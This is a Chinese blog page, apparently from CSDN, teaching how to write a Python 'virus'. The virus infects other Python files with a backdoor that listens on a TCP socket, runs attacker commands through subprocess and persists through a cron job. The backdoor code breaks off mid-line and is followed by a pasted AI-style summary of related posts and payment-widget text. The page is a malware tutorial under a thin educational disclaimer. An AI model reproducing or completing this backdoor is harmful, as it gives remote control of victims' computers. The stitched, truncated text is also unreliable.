手写一个 Python “病毒“

本文介绍了一个使用 Python 编写的后门程序,它感染其他 Python 文件,通过内置的 socket 模块创建监听器,并利用 crontab 实现持久化。后门允许黑客远程执行命令,通过 TCP 进行通信。文章强调了知识的教育目的,警告读者不要用于非法活动。

今天的文章来展示一个 Python “病毒”,它感染其他 Python 文件来创建一个后门。后门利用 Python 的内置 socket 模块来创建一个监听器,用来连接到 Python 的内置子进程模块,从而靶机上执行命令,同时还通过创建一个 cronjob 来建立持久性,以在每天固定的时间运行后门。最终完整的 Python 脚本包含在本文末尾。

注意:请不要将本文中提供的 Python 脚本用于恶意目的。虽然它不先进,但经过一些修改,它可以让完全控制某人的计算机。本文的主要目的是通过这些脚本,更好地了解黑客如何获取正常程序并使它们成为恶意程序。

话不多说,让我们开始吧。

1. 建立通信

任何后门最重要的部分都是建立通信。现在,让我们为后门访问编写一段代码。通过 TCP 连接到靶机,我们使用套接字模块监听黑客的连接请求。在 socket 模块中,有一个函数也称为 socket,我们可以使用它来创建 TCP 或 UDP 套接字。使用 socket.socket 函数创建套接字时,我们需要提供两个参数来指定我们要使用的 IP 版本和第 4 层协议。在这个 Python 脚本中,我们将传入以下参数:socket.AF_INET 和 socket.SOCK_STREAM。

  • AF_INET : 指定 IPv4
  • SOCK_STREAM :指定 TCP 而不是 UDP。
  • socket.socket 函数返回一个对象,该对象由最终确定正在创建的套接字是侦听套接字(服务器)还是连接套接字(客户端)的方法组成。要创建侦听套接字,需要使用以下方法:
  • bind > 将 IP 地址和端口绑定到网络接口
  • listen > 指示我们的套接字开始监听传入的连接
  • accept > 接受传入连接
  • recv > 从连接的客户端接收数据
  • send > 向连接的客户端发送数据

然而,最重要的方法是 recv 和 send。recv 方法会接收来自攻击者的命令,使用 subproces.run 函数在受害者的系统上执行它们,然后将执行命令的标准输出重定向到与攻击者建立的 TCP 连接。下面是 Python 代码:

from socket import socket, AF_INET, SOCK_STREAM
from subprocess import run, PIPE
from os import _exit


def serve():
    with socket(AF_INET, SOCK_STREAM) as soc:
        # [*] The obfuscated values are just the IP address and port to bind to
        soc.bind((ip, 端口))
        soc.listen(5)
        while True:
            conn, _ = soc.accept()
            while Tr
Python编写的电脑病毒是一种恶意程序,它利用Python语言编写,并通过感染其他Python文件来传播和执行恶意代码。这些病毒通常具有破坏性和危险性,可能会导致数据丢失、系统崩溃、个人信息泄露等问题。 引用中的程序是一个示例,它通过遍历指定目录下修改时间最早的Python脚本来进行感染。该程序会找到修改时间最早的Python文件,并对其进行感染。值得注意的是,这只是一个测试程序,并不具有真正的恶意性质。 引用中的代码也是一个Python实现的小病毒示例。它会弹出错误窗口,并询问用户是否让电脑出现问题。根据用户的选择,该病毒会关闭资源管理器或显示警告信息。这个示例也是为了展示病毒的效果,并不具有真正的危险性。 引用中的文章介绍了一种Python病毒,它感染其他Python文件并创建后门。该后门利用Python的socket模块创建一个监听器,用于连接到Python的子进程模块,并在靶机上执行恶意命令。此外,该病毒还通过创建cronjob实现了持久性,可以在每天固定的时间运行后门。 需要注意的是,使用Python编写电脑病毒是不道德和非法的行为。这些示例仅用于展示和教育目的,请不要在未经授权的情况下使用或传播这些恶意代码。保护计算机安全和个人信息安全是非常重要的。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [老程序员带你手写一个 Python病毒“,学会直接秀翻全场【附源码】](https://blog.youkuaiyun.com/az776776/article/details/123121722)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* [Python实现小病毒](https://blog.youkuaiyun.com/sk6584631_sz/article/details/125829778)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值